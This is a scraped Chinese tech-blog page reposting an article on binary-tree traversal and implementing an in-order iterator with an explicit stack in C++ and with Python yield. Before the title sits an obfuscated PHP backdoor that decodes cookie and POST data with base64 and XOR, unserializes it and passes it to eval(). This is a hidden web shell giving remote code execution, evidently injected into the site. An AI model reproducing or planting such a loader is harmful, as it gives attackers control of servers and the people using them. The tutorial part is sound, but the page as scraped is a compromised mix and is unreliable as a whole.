$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 二叉树迭代器算法 | Linux运维部落

二叉树迭代器算法

二叉树(Binary Tree)的前序、中序和后续遍历是算法和数据结构中的基本问题,基于递归的二叉树遍历算法更是递归的经典应用。

假设二叉树结点定义如下:

// C++
struct Node {
    int value;
    Node *left;
    Node *right;
}

中序递归遍历算法:

// C++
void inorder_traverse(Node *node) {
    if (NULL != node->left) {
        inorder_traverse(node->left);
    }
    do_something(node);
    if (NULL != node->right) {
        inorder_traverse(node->right);
    }
}

前序和后序遍历算法类似。

但是,仅有遍历算法是不够的,在许多应用中,我们还需要对遍历本身进行抽象。假如有一个求和的函数sum,我们希望它能应用于链表,数组,二叉树等等不同的数据结构。这时,我们可以抽象出迭代器(Iterator)的概念,通过迭代器把算法和数据结构解耦了,使得通用算法能应用于不同类型的数据结构。我们可以把sum函数定义为:

int sum(Iterator it)

链表作为一种线性结构,它的迭代器实现非常简单和直观,而二叉树的迭代器实现则不那么容易,我们不能直接将递归遍历转换为迭代器。究其原因,这是因为二叉树递归遍历过程是编译器在调用栈上自动进行的,程序员对这个过程缺乏足够的控制。既然如此,那么我们如果可以自己来控制整个调用栈的进栈和出栈不是就达到控制的目的了吗?我们先来看看二叉树遍历的非递归算法:

// C++
void inorder_traverse_nonrecursive(Node *node) {
    Stack stack;
    do {
        // node代表当前准备处理的子树,层层向下把左孩子压栈,对应递归算法的左子树递归
        while (NULL != node) {
            stack.push(node);
            node = node->left;
        }
        do {
            Node *top = stack.top();
            stack.pop(); //弹出栈顶,对应递归算法的函数返回
            do_something(top);
            if (NULL != top->right) {
                node = top->right; //将当前子树置为刚刚遍历过的结点的右孩子,对应递归算法的右子树递归
                break;
            }
        }
        while (!stack.empty());
    }
    while (!stack.empty());
}

通过基于栈的非递归算法我们获得了对于遍历过程的控制,下面我们考虑如何将其封装为迭代器呢? 这里关键在于理解遍历的过程是由栈的状态来表示的,所以显然迭代器内部应该包含一个栈结构,每次迭代的过程就是对栈的操作。假设迭代器的接口为:

// C++
class Iterator {
    public:
        virtual Node* next() = 0;
};

下面是一个二叉树中序遍历迭代器的实现:

//C++
class InorderIterator : public Iterator {
    public:
        InorderIterator(Node *node) {
            Node *current = node;
            while (NULL != current) {
                mStack.push(current);
                current = current->left;
            }
        }
        virtual Node* next() {
            if (mStack.empty()) {
                return NULL;
            }
            Node *top = mStack.top();
            mStack.pop();
            if (NULL != top->right) {
                Node *current = top->right;
                while (NULL != current) {
                    mStack.push(current);
                    current = current->left;
                }
            }
            return top;
         }
    private:
        std::stack<Node*> mStack;
};

下面我们再来考察一下这个迭代器实现的时间和空间复杂度。很显然,由于栈中最多需要保存所有的结点,所以其空间复杂度是O(n)的。那么时间复杂度呢?一次next()调用也最多会进行n次栈操作,而整个遍历过程需要调用n次next(),那么是不是整个迭代器的时间复杂度就是O(n^2)呢?答案是否定的!因为每个结点只会进栈和出栈一次,所以整个迭代过程的时间复杂度依然为O(n)。其实,这和递归遍历的时空复杂度完全一样。

除了上面显式利用栈控制代码执行顺序外,在支持yield语义的语言(C#, Python等)中,还有更为直接的做法。下面基于yield的二叉树中序遍历的Python实现:

// Python
def inorder(t):
    if t:
        for x in inorder(t.left):
            yield x
        yield t.label
        for x in inorder(t.right):
            yield x

yield与return区别的一种通俗解释是yield返回时系统会保留函数调用的状态,下次该函数被调用时会接着从上次的执行点继续执行,这是一种与栈语义所完全不同的流程控制语义。我们知道Python的解释器是C写的,但是C并不支持yield语义,那么解释器是如何做到对yield的支持的呢? 有了上面把递归遍历变换为迭代遍历的经验,相信你已经猜到Python解释器一定是对yield代码进行了某种变换。如果你已经能够实现递归变非递归,不妨尝试一下能否写一段编译程序将yield代码变换为非yield代码。

转自:http://coolshell.cn/articles/9886.html

原创文章,作者:s19930811,如若转载,请注明出处:http://www.178linux.com/2133

(0)
上一篇 2016-08-15 12:10
下一篇 2016-08-15 12:11

相关推荐

  • 正则表达式—正则表达式详解

    grep使用正则表达式进行匹配时,将大大提高效率和精准性,正则表达式概括分为基本正则表达式和扩展正则表达式。 一、基本正则表达式   字符匹配元字符         .        &nb…

    Linux干货 2016-07-04
  • N25期第二周作业

    1.Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示 ls 列出文件和目录命令 -a:显示所有档案及目录 -A:显示除隐藏文件”.”和”..”以外的所有文件 -C:多列显示结果,默认选项 -l:单列显示结果,以长格式显示目录下的内容列表 -F:在每个输出项后追加文件的类型标识符 &#822…

    Linux干货 2016-12-11
  • 马哥教育网络班22期+第1周课程练习

    马哥教育网络班22期+第1周课程练习 1、描述计算机的组成及其功能。 CPU (运算器+控制器), 存诸器(内存与外存),输入设备,输出设备。 运算器:对数据进行加工处理的部件(包括算述运算与逻辑运算)。 控制器:负责从存储器取出指令,按指令的要求发出控制信号,使各部件协调的,一步步的完成各种操作。 存储器:计算机记忆或暂存数据的部件 输入设备:人机接口,负…

    Linux干货 2016-08-12
  • 网络26期 第一周作业

    1、描述计算机的组成及其功能。 计算机由cpu、存储器(内存)、输入设备(Input)、输出设备(Output),其中cpu中的运算器和控制器是必要的,这拥有以上五个部件就可以组成一个能正常工作的计算机,但是内存无法永久保存数据于是还需要一个硬盘来永久保存数据,硬盘也是存储器的一种但是它却是一个io设备,即至少是输入或者输出设备中的一种.所以我将其分开来说了…

    Linux干货 2017-01-18
  • 2016-08-12博客作业

    德摩根定理       在命题逻辑和逻辑代数中,德摩根定律(或称德摩根定理)是关于命题逻辑规律的一对法则。奥古斯塔斯·德摩根首先发现了在命题逻辑中存在着下面这些关系: 非(P 且 Q)=(非 P)或(非 Q) 非(P 或 Q)=(非 P)且(非 Q)     …

    Linux干货 2016-08-15
  • ansible

    ansible 安装ansible 查看当前的系统版本 yum install redhat-lsb-core -y [root@localhost httpd]# lsb_release -a LSB Version: :core-4.1-amd64:core-4.1-noarch Distributor ID: CentOS Description: C…

    Linux干货 2017-07-09